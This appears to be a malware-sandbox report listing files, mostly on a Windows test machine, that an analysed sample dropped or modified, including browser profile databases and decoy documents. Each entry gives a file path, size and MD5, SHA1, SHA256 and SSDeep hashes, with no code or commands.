C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt	63.82 KB	MD5: 05f0b23fd2b2839e481bc054d65f1723 SHA1: c914e4e6df867d53582f7cb4ef1f1eabda137f48 SHA256: 9de251ec04f5e1b413b590e15f07440c707dd913e5df1b14644f4eb09c196d4a SSDeep: 1536:KTOjsjLiIddLsn19Zs6CSTmLNvkuiYLZO:puA1P/yZ8xQZ	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties	4.59 KB	MD5: 28cf7f079ffb04d95353f64eedce94db SHA1: 75ca3d87456bcd22ada3d70ff38e38c93a222d95 SHA256: 871c6237591c1acc7b54f58903cd288a3629d9a46baa377c32dae271dea1787c SSDeep: 96:Z1+9Styon3Rt4WJ6moZT+XGQ+E0ndU2Z5n7HK8TmL/ufRNumUaqg:2EDht4WgmW+XGku5n7H+L2fHu	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\browser\features\clicktoplay-rollout@mozilla.org.xpi	7.11 KB	MD5: c4f2a7cdc09d20d9fd02f74b2a68e82a SHA1: f18e67b1db7ca26f236300e30ab7786f140b9c76 SHA256: 453659694af1c47ec84aff3a04bd5856dbbfb95ed603a8c4a7a37019b0a61b6d SSDeep: 192:nyduLscYy/FPVpryumG9UGg5IYAbSNitBrDdeXL2fHu:nyd0scYIVpr3m83gGYiIXCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf	107.60 KB	MD5: ef4fcbbb2b16d170daece5d702b1dbf2 SHA1: 8b0efcaf0d5ba7f7cc19ac46260fa620c6827720 SHA256: f426b6d21ad197200422e31f0ca564fdc3f4d554831b364d0fec5f9d6975639a SSDeep: 1536:r0IfNJRm/lJ8SZyHlZ0ZzQWVAShISqTVjiXPy1c2CVTO:r5f7E/lJ8S8HlM0WViSVR	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf	43.66 KB	MD5: 76ca53412d68178861b1d14b1613de5f SHA1: 0ddc92c8692cd324cc6b2f020a6e65b8fc30aa63 SHA256: 563dd5c2e3227c7359cdb7d488c1fab2baa3cb08274c9246d40a101dd5731878 SSDeep: 768:BaBNCY/Ktzxxu0+0vr8sxloFNqSmwwCDDHzTgNh81BHFsp5q0ayJSgTNO:BmsY6xxK4gC+FN2oHzU0Bo5lxXO	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi	718.03 KB	MD5: 150c7eced41a589c4a976e4ab9411e8e SHA1: c6b7b283a8e052164c81b68e94699c2057ea4bbc SHA256: 1676d512fe0ce8a3bfd19b359d2b135ba1036e03d499e8df062c82bd1882f298 SSDeep: 12288:QuHsffXGM7s2A7cdByJhmcDoYZB+mW5pDaayA1bRmnd2fLWh7uAhVsBFO7cRfcRj:c1bRmALWhlsG7cRfcRc	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\dictionaries\en-US.aff	4.38 KB	MD5: dbad4fbf29d62a9db6ae068c3fec3f38 SHA1: 455f6052f72ffc684ff93baf5cb82eb2b09ab5c0 SHA256: 03a65e5ba1eb153a1844f46f6ffd8473161a2e20b1c36df40c0d51cd3a4ba52e SSDeep: 96:KPY8Olx8DcKWySkwFIW6WJuf2hGmL/ufRNumUa:R3KWylw8OTL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx	1.01 MB	MD5: 04bd4eba108026d5bca1d147ccdadeca SHA1: f3e6fe79866d7d96a9714e2674dea3af5c45d942 SHA256: 0ae9fe2987a2c194d2a08f4062e6ff3d5303b6836d0f7a099dfee4a40038cd2f SSDeep: 1536:dwKDIQgeipfEyhFajGyEuH6eQIjuovTJrEyLpZpVwKDIIO:dZDJghmEYvBv1ACp9ZDv	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts	113.61 KB	MD5: 083931d8da28474347d9ca1b2c9ffd0b SHA1: cd24ed44ef5412d6afac43644ff2f075741f050a SHA256: 3a547e34efe0464f5c58d69eac3740aa0d2326fa4fdf2c0aff924140cbe4128b SSDeep: 1536:+/RJSXTciYLUXlkT1ze0WuQHoeCHtVcwnIhEObD+lyCpjvaoUU5Z0nO:aJSXTuI0Wuybot+wnINbylyCpLm	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar	185.00 KB	MD5: a9c5aee93f6a86a1af439bac334252c9 SHA1: 7cabf304f9c8fadb1522c2adfdaa8dd9bcaeaca7 SHA256: 16eb9d0e459cc8dbbc90007395d2a3fd202611c9c3d92aaa36d9a84b1529eeb7 SSDeep: 3072:d+NlOPCQfPI+aYXcd9q8vLEpzmJIHBH0e8koupc/mFwLehRV2f1cPWZXpU:dgOaQfQ+LcjvLczmyHNN2upc+FWt1CWw	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg	68.97 KB	MD5: 71d6a6efe0ecc384f2a8bde834d0573c SHA1: d758f25d73f8b2c7d236c8b3888611998413ae74 SHA256: 8d6c6a1b3f6520274f1937c584736c582bc8f5c4ab6a4c38e4e1b2bf0c52be93 SSDeep: 1536:L4ORfbOA+kr05HEdH7Cc58pHy5rHynNaHvXa4v3RYmb44444444444444444444F:3BiwTdL7DyNmXBvnX2Wd5twwJU4NM	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\crashreporter.exe	188.84 KB	MD5: 6ee4580ee0106b3a5f305260d600e66d SHA1: c919e4f84308d576b428da443f2b2122d5f0d96f SHA256: a400e55c4022482f4e988336bbb098dbb5de2085a21beca42081188457a00994 SSDeep: 3072:Y3KR+EKjQXIQDUY5L8d0PWrjaUJyny0v5JjRW+U6+jPPehiy0ZhuW+jUV:MULDgY5Lq9aUJavk+o28Tuw	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\README.txt	1.43 KB	MD5: 7b77cc75949ae595a69cea37b30ea461 SHA1: cf556fc55167f2df3dd4dcae7b5863ac7fa4fff9 SHA256: c20b5e8fe9bb39db82cbdd12f7577418ae18a0b01a6d9e1fa6a367842124506f SSDeep: 24:3NNjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjit:d1NmLaPcuB4i+gNiZvuUbHet	... File Actions Show Properties Download

Modified Files

»

Filename	File Size	Hash Values	Actions
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite	49.38 KB	MD5: f9e8a5ff6f6cf2b848c274503c048d2d SHA1: 70dfc010a4a8cbf69b634af7f5c475bed1a5f151 SHA256: 0b6f43ea28d2adbb8199ca465a4a6686a465c2928bb3328181bdd460a71c9874 SSDeep: 768:yACOu557owUCYJ0q3eJws53SwQAOLpcu2WsO:5jCS0iIws5C8ezKO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite	97.38 KB	MD5: e494e464ddeb0c4c64b195b4a330ef71 SHA1: 5fe9e093566bbee763a99d02258d6a2c2e842bdb SHA256: 9d281221d10edb1fa06ffb02300fb9ad0703b3e2fd592767d27ea5dba10c7821 SSDeep: 768:ICscSG9XeXvfppnc+IasjYm2PTdVENCscSLzO:ICscxtUppc+1T2CscgzO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg	94.71 KB	MD5: f984df591db376d288327cf96378469a SHA1: 727661334b1ebd8342102f187bba12801541e321 SHA256: a90c22b749443d744071482a0798f20df41819b6a992121fbba0d5927e3c0a13 SSDeep: 1536:1eIDCHuD6A+ILzfw3e7pCvz4eC2IsfIZ6FuRrLtAc0tIU2V0pSO:kIDCHc6SHfw3egr4EICFuRHtt0If	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx	69.38 KB	MD5: 6245ff4faa0e9e4f92b9666e05543732 SHA1: 6f1a03056e6796bcd91a1ddc20c67a45b0725c8e SHA256: 2760ba9a4cffe3ba32589b5f35dae6a0ebc8fb4021a99dfbfc5da1b3939a061a SSDeep: 768:xNUsyX7pYPPprPdb9xvNLqDKflXQNUsyX78O:xNNWyPRrVb9tBqGf5QNNW8O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx	69.38 KB	MD5: 1d13fdff14bd1289ceeb2bd7fafa3a1f SHA1: 74e275529d68ffcba453127d2f2d784ab8acba51 SHA256: 7c8156efc35a8463dffef1ee717d7e7a2aca19b7ca087eee6256e1783daeaf9f SSDeep: 768:3YRQPR1lP9CCZyTWRJ6E2RTjTwfkYRQwO:3YRu1Z4kYBYRJO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe	17.45 KB	MD5: 79895fccafaa92105753cc13d822808f SHA1: e836423bb13be8d0b9eb89546e9f5c697b2f501a SHA256: e49f9c1e3eb12111f0d9912582ee4ea0999f694b717c62848b20668727683ffd SSDeep: 384:yrJujKNZZee03nYPvtx98mT0R74YiCfHu:yvbAeih7UYdO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg	24.84 KB	MD5: d11d6a7b972213573795ce7e1d05c4d5 SHA1: 7e0952515b245422664d2008cb65f1709c6474f9 SHA256: ff2bd9afef2b657c3731487145fad9dd89b29fb7cb4566326f5f6aabf8c548e9 SSDeep: 768:6KIaLa8pnSpdO9CRBlXiT4zrFF+cqJlPO:68La8JSTkqjY4zxF+cqPO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl	184.38 KB	MD5: f37fc03f49090c0fdf0d5d79a6a57f8f SHA1: a2bcaed401d1040ed4fa8504da58183f15c39bb4 SHA256: d1f9ebd4d2e147aa2df1d71d48502ed0f34e38fe55c2efe00cf9f41bfa7c5172 SSDeep: 3072:5F6j1FjPzRf7V0h7wsoh/TLdiNMYIsuorYU20jDjZqMi5:6jnjrZGwLh/TLdiNMYInezjJc5	... File Actions Show Properties Download
C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z	174.48 MB	MD5: 63dff95884fe78d4f2c3cc03d1f7d87d SHA1: cb9d98a47daf17d5a3b4bcbcab67e40fab6b39da SHA256: f82b1c524c74f85e70d348557e36024b111fdf426e99c75e122e490d081c8d07 SSDeep: 196608:MJ/gk1G+B5tHnR23n8irAxBEtulKXxTubo40d7xfn41LOcAZq:MNTBHzKAH0ffeyHZq	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx	74.76 KB	MD5: e407860ae59691d989e7de3f453edbd9 SHA1: 54e98ec8a150aa971c5d9d5aedf385b995ad3566 SHA256: bd270fc5f9e487c35aa326e3025176035efcc3fa4e3bc4c6fcb2562caf719156 SSDeep: 1536:f1/tT7tyCDzbhFJj7fGcYCL62wLbL+xTByxac3mWCHgbn/k7mPw3O:xV7vX17pCLbL+SEczCHgzUF	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf	238.39 KB	MD5: e43a2068228c09b871094a6c5efe955d SHA1: 84a3b28cee7d0cde104c0a4a6ec85e83a1228d6a SHA256: 5ea58122964be2871a25046a87822a10c5bb8654446f0e1384b973084bb835c0 SSDeep: 3072:S+G7Cllg+UGFDUnrrHqMyBtlc3+fzx5R1zeqZdDgfSkecUfEDpEXzSyPMR9XogRo:Selm46Ak+naqaucYEDpEX3gZo+o	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf	80.14 KB	MD5: 1da5c11be43a19137d3f2155f7d80bea SHA1: cd3b4e3e55ebfd385809b879bdfafa7a83238194 SHA256: cc9045dd09a858160535c6eeeaaeb47ee37f13dbe47a310b7137c95af45a344e SSDeep: 1536:8vIXszEpKs0yMGY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslFD1u+LO:8vEUL/GS0P80XXoLzFD19L	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg	30.29 KB	MD5: c784557152756a83a75852a79f1a289f SHA1: 1d529e47a45f7261baafe69e02135f40ba0e4f7f SHA256: e4c7cae5b7fe19c1ba9a39cb007d0f8f76ca4703263a6b5d1528ad01dba7d2eb SSDeep: 768:HhweNPpxaYapqDoCuVu/+++++++++hjF86eBjJYbIls9xiBUlO:B7hxasMF81VYb0cxMOO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf	269.42 KB	MD5: 27ba3139bbe0b1bdc6b6f39f02c319d2 SHA1: e8b3ac5d5f4adc7b530278fea032479a9326c81c SHA256: df3c7addbc219549baff9cd5907faf2a9c63492eea4781e113eeab3aa7a7009c SSDeep: 6144:hjNRNRyAnAqNaADEJHeeeeevoAuaiqwV6sg0pUjRVgYgY:fRNRpN0j3qhjRC9Y	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\pack200.exe	17.45 KB	MD5: a0c4c066a4c08f5eccfc570cbd94b3bc SHA1: 3686986d89108de9b986913ca405ee87cc769e60 SHA256: a2e94e4ba399a6f052fdea8a04085ce9b14080ec7df951fadff6b5f11be6f8b2 SSDeep: 384:WyuAGeGz4zV4G6IS4wtOKNN/eeHrnYP7WfuSjQ8p5jCfHu:HLhzVb6MwtbvWeLZfuSjQpO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties	6.80 KB	MD5: b40392559f69cf207f06ed193cbcb1ec SHA1: c72e6bb788a3cbc206fdbdba7b5b85844c097211 SHA256: fbaf2a161e5b23c7340a9df66b2487a6ad5c4e7025effe0bfaeb4b4fee7e8cb5 SSDeep: 192:DopAxqT0gyNZN6eacz8NsHl2z3tL2fHu:a50tN76b/NsMzdCfHu	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite	225.38 KB	MD5: 8620867202ff29a2c92a8d7230aedf07 SHA1: 2da8a1b39291f224ba6fb4c8a3e1f188ec07c83e SHA256: f6c0ca7ecd2ebf338c53f4d096d0e1881c590873b6d925dbb7b39978a647fa92 SSDeep: 768:poQLvzX7V8sQZeIidWrtmrOoB2ZtGVQilBEEtnkXCbSAuPLxQLvzX7VhO:b7XisQZ5id+0B23oQilBLnZ1uy7XPO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite	513.38 KB	MD5: 507ab01197015a702f9c3f023e0d6ea4 SHA1: 793c5fb8f5ddaf280edddee988ecef8af539ff66 SHA256: 2d45a20c85fbb7c4d51a8bf9060040d018f1e9615b39a238f85c9ebb0b48e43c SSDeep: 768:v9gdOYHyNGIJsIKFX828Z2ojoqe9dQtGlcq2EI2oWZ6+39gHO:v9gRHyAndFX58siWYt4cH92lU+39gHO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst	266.38 KB	MD5: 10ab7d8e08ff0e7c03283d4fa12ccfa5 SHA1: 944080c88ac7b29a68ca8d6dcb29696c4bd6c472 SHA256: 4a0c739259fce468cec9b2fd36031f9883614ec6599bb8530aafa0b3b6bb1325 SSDeep: 1536:jQo7zlGsOVhG4HpIFbpg0NbVzEEGmjq6GI8plYWi/QoNO:jQkqG+pIMQpUmjWiQ4	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls	50.70 KB	MD5: c7be74e91d7f5713ef02f0946de49403 SHA1: e65daf07b456014b40251add06bd0ffb69427529 SHA256: b427cbb9747be4820948e19681b340701392efe812ab9aa477434bd474c37304 SSDeep: 768:HyorIAr1ZJH6SkaI8NC9ZHseyQisMKDxTnRZgsk1e0RhnQukV6vc/U3O:HPrIABP6PaJk3fyMhgs10R9Quj0WO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc	77.55 KB	MD5: eae52f0cdab42af500d4804b2738ea52 SHA1: bddaba00bb7f997f7f754c5f1394244e2bcce69e SHA256: 90ab0742580e93b5cbb239b0c6ae77a5b945718f52db8540a72fd8019f374a25 SSDeep: 1536:o8+bXP58oHMdkHU1LgSUZe07/nVAcRoumXRRbX6iN1yOvLhZmoNRdbMjzSNaO:o8+7BfHKkHUvUM4NLRKXzbX6qyOjhZmP	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf	458.62 KB	MD5: 675a7a6301cc25575ed25ee6a1ded6f5 SHA1: 772d3ec8ed44758c4cca5004cbfd7b34efd83a59 SHA256: 172a8cd8a79c5fabf91acaa86c3cafa94c69d0d6d96d9050b75dd82e1236e290 SSDeep: 12288:4OfNvEbwosc3h+N8hcBk5/732yYLmAQktFgn/AURkOZo8KYCqt6YSAaEM+ZS3VOt:4OfNkYnHN+/3	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf	9.54 KB	MD5: 69cd46880640015086e569ca387b5177 SHA1: aab3a78430b850470312d3fb10e83fc9370fb87a SHA256: f394b086126d4e2b91a1ff9347b757fba0805aabb6502555eeb812d42446a86c SSDeep: 192:/CS/tZoG466K7CYEWC9Y9Llr1bW4uX6FQLeuIngdJz7L2fHu:/BrDz7LHLlxObI0fCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg	73.73 KB	MD5: 5adbfd04abc15ee0c6ffaf38632a0d4d SHA1: a9d1110f00361fb1408a086c2d01d8521d654f86 SHA256: 87fd6df013e8de4c3e8be326d8dd5ada2f4d5b6617ec45452f1ac2b3a3941ef1 SSDeep: 1536:u27oOZL6TAubwvFqbvxiwIzSXJpTihqMz2VthjU3UjO:u4DL6TAmwkzP+4tzhdVj	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg	31.02 KB	MD5: 5f5efd862c11bdfbb8065bce41351cb3 SHA1: b64293fe8af33a0aad5e551881551473bf436c94 SHA256: 49c9788261e3e89f58e54bc86e7df978de8e694bd0e6054038874337ae421228 SSDeep: 768:Pp8LZ5eaVdIsOl1uiiuZa+LZiVfkCNbJTn8VYAPKj7HcDChWHQIVfO:Pp8LLVesOl1kcjZSlJThsHQIVfO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg	26.42 KB	MD5: 3783331a25e7a0f7afd3a4b08210919e SHA1: 9495518cf9f9ffaa8c2f4553f68b3ad4f289dc80 SHA256: b95e75f0f44ed1faa17313c269da875a01ec9b7e113528d7d5d2ddbe69cb1bd5 SSDeep: 384:znM2eJ33crP+a6/yZ9LT4VR8sLML6xtNnvQhQ1CIvgnLPyNtZvCfHu:42xr/6/c9LOR8g6+1CIvmWKO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg	10.36 KB	MD5: 2292764af3ff2de63852132d0fa630c1 SHA1: b4a92f3df62d9e53899a06caf205f5ab626a0736 SHA256: f95430e8edbbfacd5feb1141b87b70fe5fa6a2c487380bfa9802a94127c717c4 SSDeep: 192:LLr/mZl2G/y5Oq/RcYJ4zoaYckNWm3/lRwhvJIm/vqTtNUSb2KS/FFcV4L2fHu:LLr/i1O4MaYmm3/Hwh3i3USbI/F6V4C2	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db	17.38 KB	MD5: 4ef8b9fe9787e45af06154845db1fd40 SHA1: 41e617d3ecf5786a3bc84bc1bb6d701df4bffac3 SHA256: 44570c1608f62c61581f7b317eacd04cd622ee1c79666da223a61fc8fc945208 SSDeep: 192:VkDTGUosQ03ByVjbkDTGUosQ036IEKL2fHuL:VkHGUo0SkHGUoPIFCfHuL	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg	34.53 KB	MD5: 302cee3e51516a7f12a7b52f6a211c93 SHA1: 80fb824892fab136618d72c08ea195664e53f01a SHA256: de11464e1667732d95d5870774279829854f751a858bc08b0df98eb932a2d3b9 SSDeep: 768:FGWGZa8Sbrgtx4wDvk37DfVQL+x1wbVWbzyr2QqbDvnC2eIABquN/+O:oPa8SYtLDMrDfVQKTwbEvyrYbDhGouNT	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x64.msi	1.81 MB	MD5: 03b9f70a9c4074f81e94f6401967d166 SHA1: 4b4d7ccfc103c27becab2a93924ec25a2376777f SHA256: 835595d96b827125d17df1e7f6b9162c3a81bec78d48e2d36d611cd5b4e41aa2 SSDeep: 24576:2rYZ6tsNrQpc+BQbPyxbs4rONSnfiPBC6xahsovoMfjhOGxZWxw:2rs6tuQpcxisfQf2M6FGoML	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db	65.38 KB	MD5: d5d473d842c119ee19ab2a8d6e5df3dc SHA1: 037fafc79be59e9a3c3f9ad77c915c6a0e3df055 SHA256: 2f8523c4e4a7692ecfae23502cd16a79e8c8e7949d8f3563e86c1ea53cc54667 SSDeep: 768:a1Wwx+KybgePSVnIqGLpQKYBfGFMZuQZ7DO:a1WwYK2gePSVnI9QnBO/mPO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite	97.38 KB	MD5: 8e0cb1fa07b7bc05f838144021c74b4b SHA1: e6121473d85cd630d80545e11f8f0a0243cf53c4 SHA256: 06d09283bfb5e2b22210f963760087b4ea4a6c920d35823198f6cc934b06eeee SSDeep: 384:tm+tJKB/yi//a3C+v+PwzWNp5o42abQkT1JhKG3j4p7M+tJKBXCfHu:EwkB6z3kHpy47rb3U4wkBcO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx	46.87 KB	MD5: c46a6ca978317e712a26d5d415dbc629 SHA1: e4746210c0f5f9dc5f3d68bb6974aa4133c4acd8 SHA256: 0c4c1353636e2190a59d12b8191e759a195692b9a33803aa62e65febbbe1e7d6 SSDeep: 768:IdhgJl+ovf1sj+jQXCsWJQPIhg6/zlsjOXoCKGIxYboxT4X6rth19JO:IEvzpeCPQPIW6bGaRKGyeATG6J9JO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx	86.16 KB	MD5: becb1495ab9952c2418dd1d4a1804ff6 SHA1: 23e1e64b49e5f0ce900bd07784f5047156d2d402 SHA256: 1ca22b3d90941c5f54c275dc8c37d15d349b32764d2aa67d8e42654736cc7673 SSDeep: 1536:l6pBVjMS26whtv/MtPD+TsD8eHIVsupsO/DRlLGWr3cUa57QjH7JT8P4IU04O:kpBltWxMt7sDUuZRHsUa2fSX34	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt	22.23 KB	MD5: 5a3f75f50fa10bf53f0a1a7c2ee92e60 SHA1: 0aedfcfd8656131d1cb874dca42233994cf8a308 SHA256: 286d983962e4d76e5781c4d8f8148a28572b774c1213948908eaadf527f9379c SSDeep: 384:QwIXBoiA9tQMZXozhy9CbJraTJkt0v9NjhRKLQOGx+nxNZScibaxxxPb5YtCfHu+:pYCtQM8Q2o6tK9Nj3elGxCZSc3xtYyO+	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db	17.38 KB	MD5: f48439d12f1585fe81f7b1db177dbc47 SHA1: 6b5ba23331b1fa0c905d8176ceebc0d8af11df75 SHA256: 5a6193fb2bf70cfecaddc412c78948b2f13099f0aa0d182ec37aa55ad8b71dff SSDeep: 192:joklxfwGPHnaXhjtmTMCkMX48hBpNJkGyTbNdmMvr5U+lgCitxL2fHu:jokzR/naXOTEKp/aTBQY5UPxCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf	275.91 KB	MD5: 65bfbe9321927fdac5e5f68ace1d7f9c SHA1: 765720901e2431a869d9a0fb8d2dd20153300ddc SHA256: 703c3d4bf95578f43c29b96187f7b702cea37a1cd84fa0e881263e4122df101e SSDeep: 6144:J8gXjji8ZT2PaFxWajWqoKOcYjeHYbPtdKMS0HeY:J8OjjNT2yPLj6o8ddN	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db	17.38 KB	MD5: 7c2f0d02508a04460c4dfc70e48ed423 SHA1: 6a76ce5ebc14c2c5d96bdae01e98e348dad584d1 SHA256: 8b9ac25012437b9a5c8a59d2f8dc6ceeee9b1f6e65e9ba0015985352e5288700 SSDeep: 192:jm2I/U1G9EIHUOrycCebzvviHE/s05xvmI2z/itIovOwcL2fHu:jmB/S+tUOecCebzvigsGmI2zlAcCfHu	... File Actions Show Properties Download
C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu	4.96 MB	MD5: ebccc7542f3bbf4fb12439226234c51e SHA1: a3096cd761b0cf015fe0be0d5881ff9afce42bab SHA256: ff26a708671e1a8915f84b920845d0b733af3eaa40ab4ae21be420b25731da7f SSDeep: 98304:K71KAuEAUjX57BkOKxUKnat45mFe4H5+Ju4JKUYc93iKlOKJhl:KhKk3ZBkOK2Knq45mY4H5OMKkKzl	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite	5.38 KB	MD5: 47c7c7f64e1b85c543637e809b30d23d SHA1: 29a00db4b8eecd6703b793aaf3e4c164b5d8e821 SHA256: 56466e5364b13b6b2599590f1ff247e2eb8c566467d8d8f7fe0fdf89d6b42706 SSDeep: 96:8Rz7cjqk6vNkza5W3ZldCLfIrTQUySBSLFJr3Z5ibdILvTVvS1XmL/ufRNumUa:AV9NYa5W37dtHQUyUsFJLZ/LvTVa12L9	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	41.15 KB	MD5: 1fcf8df32b330c4308a88d118a1613f6 SHA1: 34f9b6005f19fb37ca473738cb650d25eeb13dd6 SHA256: 944082512c291bbe5bb7420e2537af2a1e3ef71164661b4c4db1ef2dad75ded2 SSDeep: 768:20XUCp323Tl5LqXSpp31tPiMBn9gznvy0BUn4tuNCO7:9UAOTXPRzgLi4YkO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf	98.17 KB	MD5: 05362bf5cf5adb1c59b39683772fe8ba SHA1: 27d0cbafa536e31f187aec64c0bcf1a9bce4a07d SHA256: 08d0e2ac1328092c4999c4d16f58241bc850c242bec0ce81460b2cbc44fb4a02 SSDeep: 3072:PE556K2H8RATPl0lw5ZAwJ60X/7AZH89g5Ft:KH2H/a2bJ60X/uc9U	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite	257.38 KB	MD5: c86b4ad9f63122b1e57aac4610c2434a SHA1: 1a4813035a3a3c3a8e34d16b5f75ba879adea2fe SHA256: f8e7fc56f3856017c0e35affa533670656bf7944b480a93e017d510d8553b2e6 SSDeep: 768:ChLYgaqFr4MXngsxXuczWqpeqLDMW43jgXgu5IguBhLXO:3NquMX6czWeMWe8wwIguLO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb	197.38 KB	MD5: a60ce24e3059ac3cf145a8736cf86858 SHA1: 54268a62cc6b494302e7692cb0ed15512123a60d SHA256: 11837743f849d45b8988ec959fbeba4fdf86e93f8fcd94ba381799f4fa0adcb7 SSDeep: 768:ajhWEebni+OldKRQLWKyw/mOnJiE2Vi/fh6YRO:1EeLKdKaLfyw5QEjfh6AO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Database1.accdb	341.38 KB	MD5: 345905edd415f4747a28179f448c74d5 SHA1: 5442259c11dc9c9994f657f3f219756b5efa3c34 SHA256: 0d75bce653d23554283127a1209bcec26e226cfdad665ecfb0ad9fd28845582e SSDeep: 1536:A3u9lxp6JN/ACa7SDvsqVavdFZxNVnCvSs6Y6Vk/uFMIesyA2kKYjz7ZdGMdGyfC:O+vCIZuDvZUFnxNV3GOG+wF/i	... File Actions Show Properties Download
